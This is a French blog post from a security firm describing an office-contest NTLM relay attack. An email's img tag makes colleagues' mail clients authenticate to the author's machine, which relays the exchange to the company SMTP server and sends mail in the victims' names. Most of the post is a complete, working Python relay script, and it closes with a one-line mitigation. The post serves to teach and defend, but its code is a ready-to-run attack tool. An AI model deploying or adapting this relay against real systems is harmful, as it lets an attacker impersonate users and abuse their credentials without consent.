Aller au contenu
Retour à la recherche en sécurité

Recherche en sécurité

Hacking for Beer: relais NTLM (HTTP vers SMTP)

Une autre manche du concours Hacking for Beer. Cette fois, le plan était d’envoyer un courriel qui déclencherait une demande d’authentification vers ma machine, laquelle relaierait ensuite les connexions au serveur de courriel. C’est possible grâce au protocole NTLM.

L’authentification par défi-réponse NTLM est un protocole encore largement utilisé dans les produits Microsoft.

Internet Explorer, Chrome et Outlook tentent automatiquement de s’authentifier par NTLM si le domaine fait partie de la zone « Intranet local » ou si le nom de domaine ne contient pas de point, comme c’est le cas des noms NETBIOS. Firefox, lui, n’accède pas automatiquement aux identifiants Windows et les demande à l’utilisateur.

Pour cette attaque, j’ai envoyé un courriel contenant une balise img dans le code HTML, dont l’adresse source pointait vers ma machine: <img src=”https://mymachine:8080/”>. Certains de mes collègues téléchargent automatiquement les images de mes courriels. Pour eux, il suffisait d’ouvrir le message pour déclencher la requête malveillante.

Résumé de l’attaque:

  1. Le client de messagerie de mes victimes envoie une requête à mon serveur, qui répond par un HTTP 401 Unauthorized.
  2. Le client de messagerie envoie le NEGOTIATE_NTLM_MESSAGE à ma machine.
  3. Ma machine se connecte au serveur SMTP et reçoit le CHALLENGE_NTLM_MESSAGE.
  4. Ma machine relaie le défi à la victime.
  5. La victime renvoie l’AUTHENTICATION_NTLM_MESSAGE, que ma machine relaie au serveur SMTP.
  6. Enfin, authentifié au nom de ma victime, le fameux courriel part sans encombre.

Chose amusante: un autre employé a entendu dire que mon collègue s’était fait pirater de cette façon. Mon collègue lui a donc transféré le courriel « malveillant », et le voilà qui se met à envoyer des messages annonçant que lui aussi paie la bière vendredi prochain.

Voici le script utilisé pour cette attaque, écrit en Python:

###
# This script creates a listening HTTP server asking for NTLM authentication.
# It will forward challenge-responses back and forth from an SMTP server and
# the HTTP client to authenticate itself.
#
# After a successful authentication, a mail will be send on the user's behalf.
#
# You will probably want to configure your machine with a NetBIOS name or use
# the Metasploit module "auxiliary/spoof/nbns/nbns_response" and send emails
# with a HTLM IMG tag specifically chosen.
#
# Author: Michael Lahaye
###

import base64
import time
import re
import smtplib
import struct
import BaseHTTPServer

WEB_IP = '0.0.0.0'
WEB_PORT = 8080

MAIL_IP = '10.250.0.10'
MAIL_PORT = 587

RECIPIENT_ADDRESS = 'pentest@okiok.com'

class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def version_string(self):
        return 'Trusted Web Server'

    def do_HEAD(s):
        s.send_response(200)
        s.send_header('Content-type', 'text/html')
        s.end_headers()

    def do_GET(s):
        http_server = HTTPAuthServer()

        # Respond to a GET request with NTLM authentication request.
        ntlm_msg1 = http_server.get_ntlm1(s)
        if not ntlm_msg1:
            return
        print('NTLM NEGOTIATE_MESSAGE: {0}'.format(ntlm_msg1))

        print('Connecting to mail server ...')
        smtp = SMTPClient(MAIL_IP, MAIL_PORT)
        ntlm_msg2 = smtp.send_ntlm1(ntlm_msg1)
        print('NTLM CHALLENGE_MESSAGE: {0}'.format(ntlm_msg2))

        # Forward NTLM challenge to HTTP client
        ntlm_msg3, user, domain = http_server.get_ntlm3(s, ntlm_msg2)
        print('NTLM AUTHENTICATE_MESSAGE: {0}'.format(ntlm_msg3))

        # Forward finally NTLM authentication message to SMTP
        smtp.send_ntlm3(ntlm_msg3)

        recipient = RECIPIENT_ADDRESS
        if user.lower() == 'mlahaye':
           recipient = 'mlahaye@okiok.com' # Prevent self-pwnage ;)
        sender = '{0}@{1}'.format(user, domain)

        print('Sending mail from {0} ...'.format(sender))
        smtp.send_mail(sender, recipient)
        print('Mail from {0} is sent.'.format(sender))

class HTTPAuthServer:

    def get_ntlm1(self, s):
        s.send_response(401)
        s.send_header('Content-Type', 'text/html')
        s.send_header('WWW-Authenticate', 'NTLM')
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.send_header('Proxy-Support', 'Session-Based-Authentication')
        s.end_headers()

        return self._extract_ntlm_message(s)

    def get_ntlm3(self, s, ntlm2):
        s.send_response(401)
        s.send_header('Content-Type', 'text/html')
        s.send_header('WWW-Authenticate', 'NTLM ' + ntlm2)
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.send_header('Proxy-Support', 'Session-Based-Authentication')
        s.end_headers()

        ntlm3 = self._extract_ntlm_message(s)
        user, domain = self._parse_NTLM_AUTHENTICATE_MESSAGE(ntlm3)

        # Just send an HTTP 200 response back to HTTP client
        s.send_response(200)
        s.send_header('Content-Type', 'text/html')
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.end_headers()

        return ntlm3, user, domain

    def _extract_ntlm_message(self, s):
        ntlm_message = ''

        try:
            while True:
                line = s.rfile.readline().rstrip()
                if not line:
                    break
                reg = re.search(r'^Authorization: NTLM (\S+)$', line)
                if reg:
                    ntlm_message = reg.group(1)
        except:
            print('Socket timeout')

        return ntlm_message

    def _parse_NTLM_AUTHENTICATE_MESSAGE(self, ntlm3):
        ntlm3 = base64.decodestring(ntlm3)

        domain_len = struct.unpack("<H", ntlm3[28:30])[0]
        domain_offset = struct.unpack("<I", ntlm3[32:36])[0]
        domain = ntlm3[domain_offset:domain_offset+domain_len].replace('\x00', '')

        user_len = struct.unpack("<H", ntlm3[36:38])[0]
        user_offset = struct.unpack("<I", ntlm3[40:44])[0]
        user = ntlm3[user_offset:user_offset+user_len].replace('\x00', '')

        return user, domain

class SMTPClient:

    def __init__(self, hostname, port):
        self.server = smtplib.SMTP(hostname, port)
        self.server.ehlo()
        self.server.starttls()
        self.server.ehlo()

    def __del__(self):
        self.server.quit()

    def send_ntlm1(self, negotiate_message):
        code, response = self.server.docmd('AUTH', 'NTLM ' + negotiate_message)
        if code != 334:
            raise Exception('No NTLM Challenge Message received.')
        return response

    def send_ntlm3(self, authenticate_message):
        code, response = self.server.docmd('', authenticate_message)
        if code != 235:
            raise Exception('NTLM Authenticate Message error, ({0}, {1})'.format(code, response))
        return response

    def send_mail(self, sender, recipient):
        message = """\
From: {0}
To: {1}
Subject: Beer is coming back my friends

Who wants to come drink a beer with me next Friday? You are invited ;)

""".format(sender, recipient)
        self.server.sendmail(sender, recipient, message)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((WEB_IP, WEB_PORT), MyHandler)
    print('{0} Server Starts - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print('{0} Server Stops - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))

Prévention:

Pour bloquer cette attaque, ouvrez votre « Stratégie de sécurité locale » et allez à:

Paramètres de sécurité -> Stratégies locales -> Options de sécurité -> Sécurité réseau: restreindre NTLM: trafic NTLM sortant vers des serveurs distants -> « Refuser tout »

Envoyez-nous un message

Seul votre courriel est requis. Choisissez un sujet, ajoutez une note, puis envoyez.

Incident en cours? Appelez la ligne 24/7 plutôt que d’attendre une réponse: +1 450 681-1681, poste 277